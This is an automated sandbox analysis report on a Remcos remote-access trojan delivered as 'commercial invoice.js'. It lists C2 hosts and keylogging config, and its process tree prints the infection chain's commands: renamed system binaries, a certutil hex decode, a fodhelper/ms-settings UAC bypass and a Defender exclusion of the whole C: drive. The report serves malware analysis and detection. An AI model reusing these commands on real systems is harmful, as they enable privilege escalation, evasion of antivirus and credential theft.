Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/07/2024, 23:13

General

  • Target
    commercial invoice.js
  • Size 97KB
  • Sample240718-27hfpsvapd
  • SHA256 dc9834a7967c856395ccc15358635e9cb6fc59e7f2dc2f9f58a9f2e26b717ed5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • JULY 18- YAK- UJU

C2
  • myfrontmannysix.ddns.net:4939

  • backupfrontmanny.duckdns.org:4939

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    dghf.exe

  • copy_folder

    uiyk

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • install_path

    %Temp%

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    -B5FGTK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 8 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 30 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\commercial invoice.js"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4336
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VMXFQD.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Windows\System32\extrac32.exe
        C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
        3⤵
          PID:2456
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4332
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            4⤵
              PID:1420
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\VMXFQD.bat" "C:\\Users\\Public\\CLEAN.GIF" 9
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1092
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\VMXFQD.bat" "C:\\Users\\Public\\CLEAN.GIF" 9
              4⤵
              • Executes dropped EXE
              PID:2868
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1524
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
              4⤵
              • Executes dropped EXE
              PID:1556
          • C:\Users\Public\Libraries\CLEAN.COM
            C:\Users\Public\Libraries\CLEAN.COM
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1328
            • C:\Users\Public\Libraries\nasppvoG.pif
              C:\Users\Public\Libraries\nasppvoG.pif
              4⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3556
              • C:\Windows\system32\cmd.exe
                "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1D28.tmp\1D29.tmp\1D2A.bat C:\Users\Public\Libraries\nasppvoG.pif"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1540
                • C:\Windows\System32\extrac32.exe
                  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                  6⤵
                    PID:4648
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                    6⤵
                    • Executes dropped EXE
                    PID:5008
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                    6⤵
                    • Executes dropped EXE
                    PID:2740
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4296
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                      7⤵
                        PID:5032
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2424
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                        7⤵
                          PID:3344
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:2052
                        • C:\Windows\system32\extrac32.exe
                          extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                          7⤵
                            PID:2108
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:8
                          • C:\Users\Public\xkn.exe
                            C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                            7⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:1476
                            • C:\Users\Public\alpha.exe
                              "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:456
                              • C:\Users\Public\ger.exe
                                C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                                9⤵
                                • Modifies registry class
                                PID:1220
                        • C:\Windows \System32\per.exe
                          "C:\\Windows \\System32\\per.exe"
                          6⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          PID:4164
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:2772
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /IM SystemSettings.exe
                            7⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2072
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                          6⤵
                          • Executes dropped EXE
                          PID:3880
                          • C:\Windows\system32\PING.EXE
                            ping 127.0.0.1 -n 2
                            7⤵
                            • Runs ping.exe
                            PID:4352
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                          6⤵
                          • Executes dropped EXE
                          PID:1044
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                          6⤵
                          • Executes dropped EXE
                          PID:4072
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                          6⤵
                          • Executes dropped EXE
                          PID:3528
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                          6⤵
                          • Executes dropped EXE
                          PID:4328
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                          6⤵
                          • Executes dropped EXE
                          PID:1284
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                          6⤵
                          • Executes dropped EXE
                          PID:844
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                          6⤵
                          • Executes dropped EXE
                          PID:5004
                    • C:\Windows\SysWOW64\extrac32.exe
                      C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Govppsan.PIF
                      4⤵
                        PID:1416
                      • C:\Users\Public\Libraries\CLEAN.COM
                        C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\rrzifaienneuhgtllgiwfpebmdzeowfu"
                        4⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2340
                      • C:\Users\Public\Libraries\CLEAN.COM
                        C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\btesg"
                        4⤵
                        • Executes dropped EXE
                        • Accesses Microsoft Outlook accounts
                        PID:4616
                      • C:\Users\Public\Libraries\CLEAN.COM
                        C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\mnrlhdez"
                        4⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1476
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                      3⤵
                      • Executes dropped EXE
                      PID:1984
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S
                      3⤵
                      • Executes dropped EXE
                      PID:4036
                • C:\Windows\system32\SystemSettingsAdminFlows.exe
                  "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                  1⤵
                    PID:2528

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        1D2A.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\1D28.tmp\1D29.tmp\1D2A.bat
                        • Size 1KB
                        • SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
                        • MD5 SHA1 SHA512

                        VMXFQD.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\VMXFQD.bat
                        • Size 2.8MB
                        • SHA256 897173be3c5e872e2d8560f8df743f93c8eb857f8d2d22d3196343c35e90abac
                        • MD5 SHA1 SHA512 SSDEEP

                        __PSScriptPolicyTest_toejrzv5.eja.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_toejrzv5.eja.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        rrzifaienneuhgtllgiwfpebmdzeowfu

                        • Path C:\Users\Admin\AppData\Local\Temp\rrzifaienneuhgtllgiwfpebmdzeowfu
                        • Size 4KB
                        • SHA256 2bd023dd922e93f6c6f471751ae97a1fd24a93aa4230e53ac91b8c37dab9b185
                        • MD5 SHA1 SHA512 SSDEEP

                        CLEAN.GIF

                        • Path C:\Users\Public\CLEAN.GIF
                        • Size 1.9MB
                        • SHA256 50a94c852a9b0ba9f6ca217dfa79652b48a2ac41fe2b4578faad2e8e4a95800a
                        • MD5 SHA1 SHA512 SSDEEP

                        CLEAN.COM

                        • Path C:\Users\Public\Libraries\CLEAN.COM
                        • Size 955KB
                        • SHA256 80091724af78d5cfdcb8a3a57eaf479f2a49b3479d69e4043a4bef74d0f5ae0b
                        • MD5 SHA1 SHA512 SSDEEP

                        nasppvoG.pif

                        • Path C:\Users\Public\Libraries\nasppvoG.pif
                        • Size 66KB
                        • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                        • MD5 SHA1 SHA512 SSDEEP

                        alpha.exe

                        • Path C:\Users\Public\alpha.exe
                        • Size 283KB
                        • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                        • MD5 SHA1 SHA512 SSDEEP

                        kn.exe

                        • Path C:\Users\Public\kn.exe
                        • Size 1.6MB
                        • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                        • MD5 SHA1 SHA512 SSDEEP

                        xkn.exe

                        • Path C:\Users\Public\xkn.exe
                        • Size 442KB
                        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                        • MD5 SHA1 SHA512 SSDEEP

                        per.exe

                        • Path C:\Windows \System32\per.exe
                        • Size 48KB
                        • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                        • MD5 SHA1 SHA512 SSDEEP

                        memory/1328-113-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-33-0x0000000000400000-0x00000000004F8000-memory.dmp

                        memory/1328-159-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-160-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-155-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-154-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-149-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-106-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-107-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-109-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-108-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-110-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-111-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-150-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-146-0x0000000033AF0000-0x0000000034AF0000-memory.dmp

                        memory/1328-144-0x00000000519A0000-0x00000000519B9000-memory.dmp

                        memory/1328-145-0x00000000519A0000-0x00000000519B9000-memory.dmp

                        memory/1328-141-0x00000000519A0000-0x00000000519B9000-memory.dmp

                        memory/1476-130-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/1476-135-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/1476-123-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/1476-75-0x000001ECFE9F0000-0x000001ECFEA12000-memory.dmp

                        memory/1476-128-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/1476-132-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/1476-133-0x0000000000430000-0x00000000004F9000-memory.dmp

                        memory/2340-129-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/2340-119-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/2340-121-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/2340-115-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/2340-138-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/3556-40-0x0000000000400000-0x0000000001400000-memory.dmp

                        memory/3556-43-0x0000000000400000-0x0000000001400000-memory.dmp

                        memory/3556-98-0x0000000000400000-0x0000000001400000-memory.dmp

                        memory/3556-100-0x0000000000400000-0x000000000041A000-memory.dmp

                        memory/3556-42-0x0000000000400000-0x000000000041A000-memory.dmp

                        memory/3556-37-0x0000000000400000-0x0000000001400000-memory.dmp

                        memory/4616-131-0x0000000000400000-0x0000000000462000-memory.dmp

                        memory/4616-122-0x0000000000400000-0x0000000000462000-memory.dmp

                        memory/4616-117-0x0000000000400000-0x0000000000462000-memory.dmp

                        memory/4616-120-0x0000000000400000-0x0000000000462000-memory.dmp